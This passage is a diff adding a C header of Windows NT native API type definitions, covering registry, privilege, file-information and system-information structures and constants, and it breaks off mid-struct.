+typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; + +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +// +// Value entry query structures +// 14.09.11 + +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size +// Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; + +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + +// +// end of value info +// + +typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyUserFlagsInformation, + MaxKeySetInfoClass +} KEY_SET_INFORMATION_CLASS; + +#define SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege") +#define SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege") +#define SE_LOCK_MEMORY_NAME TEXT("SeLockMemoryPrivilege") +#define SE_INCREASE_QUOTA_NAME TEXT("SeIncreaseQuotaPrivilege") +#define SE_UNSOLICITED_INPUT_NAME TEXT("SeUnsolicitedInputPrivilege") +#define SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege") +#define SE_TCB_NAME TEXT("SeTcbPrivilege") +#define SE_SECURITY_NAME TEXT("SeSecurityPrivilege") +#define SE_TAKE_OWNERSHIP_NAME TEXT("SeTakeOwnershipPrivilege") +#define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege") +#define SE_SYSTEM_PROFILE_NAME TEXT("SeSystemProfilePrivilege") +#define SE_SYSTEMTIME_NAME TEXT("SeSystemtimePrivilege") +#define SE_PROF_SINGLE_PROCESS_NAME TEXT("SeProfileSingleProcessPrivilege") +#define SE_INC_BASE_PRIORITY_NAME TEXT("SeIncreaseBasePriorityPrivilege") +#define SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege") +#define SE_CREATE_PERMANENT_NAME TEXT("SeCreatePermanentPrivilege") +#define SE_BACKUP_NAME TEXT("SeBackupPrivilege") +#define SE_RESTORE_NAME TEXT("SeRestorePrivilege") +#define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege") +#define SE_DEBUG_NAME TEXT("SeDebugPrivilege") +#define SE_AUDIT_NAME TEXT("SeAuditPrivilege") +#define SE_SYSTEM_ENVIRONMENT_NAME TEXT("SeSystemEnvironmentPrivilege") +#define SE_CHANGE_NOTIFY_NAME TEXT("SeChangeNotifyPrivilege") +#define SE_REMOTE_SHUTDOWN_NAME TEXT("SeRemoteShutdownPrivilege") +#define SE_UNDOCK_NAME TEXT("SeUndockPrivilege") +#define SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege") +#define SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege") +#define SE_MANAGE_VOLUME_NAME TEXT("SeManageVolumePrivilege") +#define SE_IMPERSONATE_NAME TEXT("SeImpersonatePrivilege") +// #define SE_CREATE_GLOBAL_PRIVILEGE TEXT("SeCreateGlobalPrivilege") +// #define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE TEXT("SeTrustedCredmanAccessPrivilege") +// #define SE_RELABEL_PRIVILEGE TEXT("SeReLabelPrivilege") +#define SE_CREATE_GLOBAL_NAME TEXT("SeCreateGlobalPrivilege") + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) + +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID32 +{ + ULONG UniqueProcess; + ULONG UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _CLIENT_ID64 +{ + ULONGLONG UniqueProcess; + ULONGLONG UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +#include + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + +#include + +// +// FILE_INFORMATION +// +//readded 17.09.11 EP_X0FF + +typedef struct _FILE_BASIC_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; // ntddk wdm nthal + +typedef struct _FILE_STANDARD_INFORMATION +{ + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + UCHAR DeletePending; + UCHAR Directory; +} FILE_STANDARD_INFORMATION; + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + +typedef struct _FILE_POSITION_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CurrentByteOffset; // ntddk wdm nthal +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + +typedef struct _FILE_ALIGNMENT_INFORMATION { // ntddk nthal + ULONG AlignmentRequirement; // ntddk nthal +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_NAME_INFORMATION { // ntddk + ULONG FileNameLength; // ntddk + WCHAR FileName[1]; // ntddk +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; // ntddk + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { // ntddk wdm nthal + LARGE_INTEGER CreationTime; // ntddk wdm nthal + LARGE_INTEGER LastAccessTime; // ntddk wdm nthal + LARGE_INTEGER LastWriteTime; // ntddk wdm nthal + LARGE_INTEGER ChangeTime; // ntddk wdm nthal + LARGE_INTEGER AllocationSize; // ntddk wdm nthal + LARGE_INTEGER EndOfFile; // ntddk wdm nthal + ULONG FileAttributes; // ntddk wdm nthal +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; // ntddk wdm nthal + // ntddk wdm nthal +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { // ntddk nthal + ULONG FileAttributes; // ntddk nthal + ULONG ReparseTag; // ntddk nthal +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + +typedef struct _FILE_DISPOSITION_INFORMATION { // ntddk nthal + BOOLEAN DeleteFile; // ntddk nthal +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_END_OF_FILE_INFORMATION { // ntddk nthal + LARGE_INTEGER EndOfFile; // ntddk nthal +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; // ntddk nthal + // ntddk nthal +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { // ntddk nthal + LARGE_INTEGER ValidDataLength; // ntddk nthal +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; // ntddk nthal + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + +// +// NtQuery(Set)EaFile +// +// The offset for the start of EaValue is EaName[EaNameLength + 1] +// + +// begin_ntddk begin_wdm + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + +// end_ntddk end_wdm + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION; + +// +// NtQuery(Set)QuotaInformationFile +// + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, *PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + +// +// NtQueryDirectoryFile return types: +// +// FILE_DIRECTORY_INFORMATION +// FILE_FULL_DIR_INFORMATION +// FILE_ID_FULL_DIR_INFORMATION +// FILE_BOTH_DIR_INFORMATION +// FILE_ID_BOTH_DIR_INFORMATION +// FILE_NAMES_INFORMATION +// FILE_OBJECTID_INFORMATION +// + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +// +// SYSTEM_INFORMATION +// + +typedef struct _SYSTEM_GDI_DRIVER_INFORMATION +{ + UNICODE_STRING DriverName; + PVOID ImageAddress; + PVOID SectionPointer; + PVOID EntryPoint; + PIMAGE_EXPORT_DIRECTORY ExportSectionPointer; + ULONG ImageLength; +} SYSTEM_GDI_DRIVER_INFORMATION, *PSYSTEM_GDI_DRIVER_INFORMATION; + +typedef struct _SYSTEM_EXCEPTION_INFORMATION +{ + ULONG AlignmentFixupCount; + ULONG ExceptionDispatchCount; + ULONG FloatingEmulationCount; + ULONG ByteWordEmulationCount; +} SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + +// +// taken from http://www.acc.umu.se/~bosse/ntifs.h - contents are questionable. +// + +typedef enum _THREAD_STATE +{ + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + Spare2, + Spare3, + Spare4, + Spare5, + Spare6, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +//FIXED 21.02.2011 size for x64/x86 +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_EXTENDED_THREAD_INFORMATION { + SYSTEM_THREAD_INFORMATION ThreadInfo; + PVOID StackBase; + PVOID StackLimit; + PVOID Win32StartAddress; + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + ULONG_PTR Reserved3; + ULONG_PTR Reserved4; +} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION; + +typedef struct _SYSTEM_POOL_ENTRY { + BOOLEAN Allocated; + BOOLEAN Spare0; + USHORT AllocatorBackTraceIndex; + ULONG Size; + union { + UCHAR Tag[4]; + ULONG TagUlong; + PVOID ProcessChargedQuota; + }; +} SYSTEM_POOL_ENTRY, *PSYSTEM_POOL_ENTRY; + +typedef struct _SYSTEM_POOL_INFORMATION { + SIZE_T TotalSize; + PVOID FirstEntry; + USHORT EntryOverhead; + BOOLEAN PoolTagPresent; + BOOLEAN Spare0; + ULONG NumberOfEntries; + SYSTEM_POOL_ENTRY Entries[1]; +} SYSTEM_POOL_INFORMATION, *PSYSTEM_POOL_INFORMATION; + +typedef struct _SYSTEM_POOLTAG { + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; + ULONG PagedAllocs; + ULONG PagedFrees; + SIZE_T PagedUsed; + ULONG NonPagedAllocs; + ULONG NonPagedFrees; + SIZE_T NonPagedUsed; +} SYSTEM_POOLTAG, *PSYSTEM_POOLTAG; + +typedef struct _SYSTEM_BIGPOOL_ENTRY { + union { + PVOID VirtualAddress; + ULONG_PTR NonPaged : 1; // Set to 1 if entry is nonpaged. + }; + SIZE_T SizeInBytes; + union { + UCHAR Tag[4]; + ULONG TagUlong; + }; +} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY; + +typedef struct _SYSTEM_POOLTAG_INFORMATION +{ + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_SESSION_POOLTAG_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG Count; + SYSTEM_POOLTAG TagInfo[ 1 ]; +} SYSTEM_SESSION_POOLTAG_INFORMATION, *PSYSTEM_SESSION_POOLTAG_INFORMATION; + +typedef struct _SYSTEM_BIGPOOL_INFORMATION { + ULONG Count; + SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ 1 ]; +} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO +{ + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX +{ + PVOID Object; + ULONG UniqueProcessId; + ULONG HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG NumberOfHandles; + ULONG Reserved; + struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[ 1 ]; +} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX; + +typedef struct _SYSTEM_SPECIAL_POOL_INFORMATION +{ + ULONG PoolTag; + ULONG Flags; +} SYSTEM_SPECIAL_POOL_INFORMATION, *PSYSTEM_SPECIAL_POOL_INFORMATION; + +typedef struct _SYSTEM_OBJECTTYPE_INFORMATION +{ + ULONG NextEntryOffset; + ULONG NumberOfObjects; + ULONG NumberOfHandles; + ULONG TypeIndex; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + ULONG PoolType; + UCHAR SecurityRequired; + UCHAR WaitableObject; + UNICODE_STRING TypeName; +} SYSTEM_OBJECTTYPE_INFORMATION, *PSYSTEM_OBJECTTYPE_INFORMATION; + +typedef struct _SYSTEM_HIBERFILE_INFORMATION +{ + ULONG NumberOfMcbPairs; + LARGE_INTEGER Mcb[ 1 ]; +} SYSTEM_HIBERFILE_INFORMATION, *PSYSTEM_HIBERFILE_INFORMATION; + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + SIZE_T PagedPoolSize; +} SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + +typedef struct _SYSTEM_CONTEXT_SWITCH_INFORMATION { + ULONG ContextSwitches; + ULONG FindAny; + ULONG FindLast; + ULONG FindIdeal; + ULONG IdleAny; + ULONG IdleCurrent; + ULONG IdleLast; + ULONG IdleIdeal; + ULONG PreemptAny; + ULONG PreemptCurrent; + ULONG PreemptLast; + ULONG SwitchToIdle; +} SYSTEM_CONTEXT_SWITCH_INFORMATION, *PSYSTEM_CONTEXT_SWITCH_INFORMATION; + +typedef struct _SYSTEM_SESSION_MAPPED_VIEW_INFORMATION { + SIZE_T NextEntryOffset; + ULONG SessionId; + ULONG ViewFailures; + SIZE_T NumberOfBytesAvailable; + SIZE_T NumberOfBytesAvailableContiguous; +} SYSTEM_SESSION_MAPPED_VIEW_INFORMATION, *PSYSTEM_SESSION_MAPPED_VIEW_INFORMATION; + +typedef struct _SYSTEM_INTERRUPT_INFORMATION { + ULONG ContextSwitches; + ULONG DpcCount; + ULONG DpcRate; + ULONG TimeIncrement; + ULONG DpcBypassCount; + ULONG ApcBypassCount; +} SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + +typedef struct _SYSTEM_DPC_BEHAVIOR_INFORMATION { + ULONG Spare; + ULONG DpcQueueDepth; + ULONG MinimumDpcRate; + ULONG AdjustDpcThreshold; + ULONG IdealDpcRate; +} SYSTEM_DPC_BEHAVIOR_INFORMATION, *PSYSTEM_DPC_BEHAVIOR_INFORMATION; + +typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + USHORT CurrentDepth; + USHORT MaximumDepth; + ULONG TotalAllocates; + ULONG AllocateMisses; + ULONG TotalFrees; + ULONG FreeMisses; + ULONG Type; + ULONG Tag; + ULONG Size; +} SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + +typedef struct _SYSTEM_LEGACY_DRIVER_INFORMATION { + ULONG VetoType; + UNICODE_STRING VetoList; +} SYSTEM_LEGACY_DRIVER_INFORMATION, *PSYSTEM_LEGACY_DRIVER_INFORMATION; + +typedef struct _SYSTEM_VDM_INSTEMUL_INFO +{ + ULONG SegmentNotPresent; + ULONG VdmOpcode0F; + ULONG OpcodeESPrefix; + ULONG OpcodeCSPrefix; + ULONG OpcodeSSPrefix; + ULONG 